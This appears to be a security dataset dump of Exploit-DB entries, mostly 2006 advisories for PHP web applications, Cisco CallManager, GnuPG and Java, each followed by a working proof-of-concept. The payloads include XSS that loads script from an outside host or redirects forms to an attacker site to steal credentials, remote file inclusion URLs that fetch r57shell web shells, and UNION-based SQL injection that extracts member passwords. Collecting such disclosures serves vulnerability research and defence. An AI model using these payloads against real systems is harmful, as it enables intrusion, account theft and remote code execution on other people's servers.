QLWD/code_shield huggingface dataset:
标题: Singapore 0.9.x/0.10 - Multiple Traversal Arbitrary File Access EDB-ID: 28066 CVE: 2006-3194 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18518/info

singapore gallery is prone to directory-traversal and cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker can exploit the directory-traversal vulnerabilities to retrieve arbitrary files from the vulnerable system in the context of the webserver process.

The cross-site scripting vulnerability allows an attacker to leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/singapore/index.php?gallery=./../../../ URL: https://www.exploit-db.com/exploits/28066
标题: GnuPG 1.4.3/1.9.x - Parse_User_ID Remote Buffer Overflow EDB-ID: 28077 CVE: 2006-3082 类型: DOS 平台: LINUX 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18554/info

GnuPG is prone to a remote buffer-overflow vulnerability because it fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer.

This issue may allow remote attackers to execute arbitrary machine code in the context of the affected application, but this has not been confirmed.

GnuPG versions 1.4.3 and 1.9.20 are vulnerable to this issue; previous versions may also be affected.

perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| /var/gnupg/bin/gpg --no-armor URL: https://www.exploit-db.com/exploits/28077
标题: V3 Chat Instant Messenger - 'profileview.php?membername' Cross-Site Scripting EDB-ID: 28073 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
     
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
     
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/messenger/profileview.php?membername=demo<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> URL: https://www.exploit-db.com/exploits/28073
标题: e107 0.7.5 - 'search.php' Cross-Site Scripting EDB-ID: 28063 CVE: 2006-3259 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18508/info

e107 is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/search.php?q=&r=0&s=Search&in=1&ex=1&ep= %27%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript% 3E&be=1&t=1&adv=1&type=all&on=new&time=any&author= URL: https://www.exploit-db.com/exploits/28063
标题: vBulletin 3.0.9/3.5.x - 'member.php' Cross-Site Scripting EDB-ID: 28076 CVE: 2006-3253 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18551/info

Vbulletin is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The vendor disputes this issue stating the vulnerable parameter is properly sanitized before being used.

http://www.example.com/vb/member.php?u=[XSS] URL: https://www.exploit-db.com/exploits/28076
标题: V3 Chat Instant Messenger - '/mail/reply.php?id' Cross-Site Scripting EDB-ID: 28069 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
 
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
 
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
 
http://www.example.com/v3chat/mail/reply.php?&recipientname=Scorpio&mid=62&id=1<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> URL: https://www.exploit-db.com/exploits/28069
标题: V3 Chat Instant Messenger - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 28071 CVE: 2006-3366 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/18543/info
   
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
   
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/messenger/search.php?action=update&membername=&action=search&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> 

http://www.example.com/messenger/search.php?membername=luny666&memberid=287&contact_id=1&contact_name=<IMG%20SRC=javascript:alert(document.cookie)>&site_id=&add=1&s=1 &r=0&min_age=16&max_age=100&location=&gender1=&gender2= URL: https://www.exploit-db.com/exploits/28071
标题: SaphpLesson 1.1/2.0/3.0 - Multiple SQL Injections EDB-ID: 28059 CVE: 2006-3161 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18501/info

The saphplesson module is prone to multiple SQL-injection vulnerabilities because the fails application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

http://www.example.com/Path/showcat.php?forumid=1&Page=-1[SQL]) URL: https://www.exploit-db.com/exploits/28059
标题: Eduha Meeting - 'index.php' Arbitrary File Upload EDB-ID: 28058 CVE: 2006-3158 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18499/info

Eduha Meeting is prone to an arbitrary file-upload vulnerability. 

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. 

This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/path/index.php?act=add URL: https://www.exploit-db.com/exploits/28058
标题: Cisco CallManager 3.x/4.x - 'Web Interface 'ccmuser/logon.asp' Cross-Site Scripting EDB-ID: 28062 CVE: 2006-3109 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18504/info
 
Cisco CallManager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the web-interface to properly sanitize user-supplied input. 
 
An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting administrative user in the context of the affected site. This may help the attacker launch other attacks.

http://www.example.com/CallManagerAddress/ccmuser/logon.asp?userID=&password=&MadeUpParameter="><script>for (i=0; i<document.forms.length; i%2B%2B) document.forms[i].action="http://www.attackersite.com/stealstuff.cgi";</script><!-- URL: https://www.exploit-db.com/exploits/28062
标题: Cisco CallManager 3.x/4.x - 'Web Interface 'ccmadmin/phonelist.asp?Pattern' Cross-Site Scripting EDB-ID: 28061 CVE: 2006-3109 类型: WEBAPPS 平台: ASP 发布日期: 2006-06-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/18504/info

Cisco CallManager is prone to a cross-site scripting vulnerability. This issue is due to a failure in the web-interface to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting administrative user in the context of the affected site. This may help the attacker launch other attacks.

http://www.example.com/CallManagerAddress/ccmadmin/phonelist.asp?findBy=description&match=begins&pattern=<script>alert(document.cookie)</script>&submit1=Find&rows=20&wildcards=on&utilityList= URL: https://www.exploit-db.com/exploits/28061
标题: Oracle Java lookUpByteBI - Heap Buffer Overflow EDB-ID: 28050 CVE: 2013-2470 类型: DOS 平台: WINDOWS 发布日期: 2013-09-03 漏洞利用脚本: # Exploit Title: Oracle Java lookupByteBI function heap buffer overflow
# Google Dork:
# Date: 2013-09-03
# Exploit Author: GuHe
# Vendor Homepage: http://www.oracle.com/
# Software Link:
http://www.oracle.com/technetwork/java/javase/downloads/index.html
# Version: 7u21 and eariler
# Tested on: Windows 7
# CVE : CVE-2013-2470

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/28050.zip


CVE-2013-2470 - Java_sun_awt_image_ImagingLib_lookupByteBI heap buffer
overflow


1. Affected Software
JRE 7 update 21 and earlier
JRE 6 update 45 and earlier


2. Root cause analysis

The "Java_sun_awt_image_ImagingLib_lookupByteBI" performs byte lookup
operation on two BufferedImage.

In the following code:

 /* Mlib needs 16bit lookuptable and must be signed! */
    if (src->type == MLIB_SHORT) {
        unsigned short *sdataP = (unsigned short *) src->data;
        unsigned short *sP;
        if (dst->type == MLIB_BYTE) {
            unsigned char *cdataP  = (unsigned char *)  dst->data;
            unsigned char *cP;
            if (nbands > 1) {
                retStatus = 0;
            }
            else {
                int x, y;
                for (y=0; y < src->height; y++) {
                    cP = cdataP;
                    sP = sdataP;
                    for (x=0; x < src->width; x++) {
                        *cP++ = table[0][*sP++];
                    }

                    /*
                     * 4554571: increment pointers using the scanline stride
                     * in pixel units (not byte units)
                     */
                    cdataP += dstImageP->raster.scanlineStride;
                    sdataP += srcImageP->raster.scanlineStride;
                }
            }
        }
        /* How about ddata == null? */
    }

It tries to map data in src raster to the dst raster. The total bytes
written to dst rater buffer is:
(src->width) * (src->height). However, it does not correctly check the size
of the dst buffer, if the size of the
dst buffer is smaller than (src->width) * (src->height), it will be
overflowed.


3. Poc
See "TestByteBI.java" for the source code.
And you can test the poc by directly open the "HelloApplet.html" in a web
browser.


4. Tested on
JRE 7 update 21 on Windows 7 Enterprise URL: https://www.exploit-db.com/exploits/28050
标题: RahnemaCo - 'page.php' PageID Remote File Inclusion EDB-ID: 28048 CVE: 2006-3314 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18490/info

RahnemaCo is prone to a remote file-include vulnerability.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

http://www.example.com/shop/page.php?pageid=http://www.example.com/crazyshell.txt? URL: https://www.exploit-db.com/exploits/28048
标题: CMS Faethon 1.3.2 - Multiple Remote File Inclusions EDB-ID: 28047 CVE: 2006-3185 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/18489/info

CMS Faethon is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input to the application.

An attacker may leverage these issues to have an arbitrary remote file containing malicious script code execute in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system. Other attacks are also possible.

http://www.example.com/[cms_faethon_path]/data/header.php?mainpath=http://www.example.com/evil.txt? URL: https://www.exploit-db.com/exploits/28047
标题: dotWidget for articles 2.0 - '/admin/articles.php' Multiple Remote File Inclusions EDB-ID: 28042 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
   
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
   
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/articles.php?admin_footer_file=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28042
标题: dotWidget for articles 2.0 - '/admin/editconfig.php' Multiple Remote File Inclusions EDB-ID: 28046 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
      
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
      
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
      
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/editconfig.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/editconfig.phpadmin_footer_file=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28046
标题: dotWidget for articles 2.0 - 'showcatpicks.php?file_path' Remote File Inclusion EDB-ID: 28039 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info

dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/showcatpicks.php?file_path=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28039
标题: mcGuestbook 1.3 - 'lire.php?lang' Remote File Inclusion EDB-ID: 28037 CVE: 2006-3175 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/18476/info
  
mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
http://www.example.com/path/lire.php?lang=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28037
标题: dotWidget for articles 2.0 - '/admin/authors.php' Multiple Remote File Inclusions EDB-ID: 28041 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
  
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
  
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/authors.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/authors.php?admin_footer_file=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28041
标题: dotWidget for articles 2.0 - '/admin/index.php' Multiple Remote File Inclusions EDB-ID: 28043 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
    
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
    
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/index.php?admin_header_file=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28043
标题: VBZoom 1.11 - 'forum.php' SQL Injection EDB-ID: 28033 CVE: 2006-3142 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/18472/info

VBZooM is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

For user :
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,usertitle,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/*

For Password : 
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13%20from%20Member%20where%20Memberid%20=1/*
Or
http://www.example.com/forum.php?MainID=-1%20union%20select%201,2,3,4,5,password,7,8,9,10,11,12,13,14%20from%20Member%20where%20Memberid%20=1/* URL: https://www.exploit-db.com/exploits/28033
标题: dotWidget for articles 2.0 - '/admin/categories.php' Multiple Remote File Inclusions EDB-ID: 28045 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
     
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
     
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).

http://www.example.com/path/admin/categories.php?admin_header_file=http://www.example2.com/r57shell.txt?
http://www.example.com/path/admin/categories.php?admin_footer_file=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28045
标题: dotWidget for articles 2.0 - 'showarticle.php?file_path' Remote File Inclusion EDB-ID: 28040 CVE: 2006-7052 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/18479/info
 
dotWidget for Articles is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
Some of these issue may be related to those discussed in BID 18258 (DotWidget CMS Multiple Remote File Include Vulnerabilities).
 
http://www.example.com/path/showarticle.php?file_path=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28040
标题: HotPlug CMS 1.0 - 'Login1.php' Cross-Site Scripting EDB-ID: 28031 CVE: 2006-3189 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/18454/info

HotPlug CMS is prone to a cross-site scripting attack. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary HTML and script code in the browser of a victim user in the context of the webserver process. This may help the attacker steal cookie-based authentication credentials or launch other attacks.

http://www.example.com/[hpc_path]/administration/tblcontent/login1.php?msg=[xss] URL: https://www.exploit-db.com/exploits/28031
标题: MPCS 0.2 - 'comment.php' Cross-Site Scripting EDB-ID: 28032 CVE: 2006-3191 类型: WEBAPPS 平台: PHP 发布日期: 2006-03-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/18470/info

MPCS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/comment.php?pageid=12 <script src=http://www.youfucktard.com/xss.js></script> URL: https://www.exploit-db.com/exploits/28032
标题: mcGuestbook 1.3 - 'ecrire.php?lang' Remote File Inclusion EDB-ID: 28036 CVE: 2006-3175 类型: WEBAPPS 平台: PHP 发布日期: 2006-06-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/18476/info
 
mcGuestbook is prone to multiple remote file-include vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.
 
http://www.example.com/path/ecrire.php?lang=http://www.example2.com/r57shell.txt? URL: https://www.exploit-db.com/exploits/28036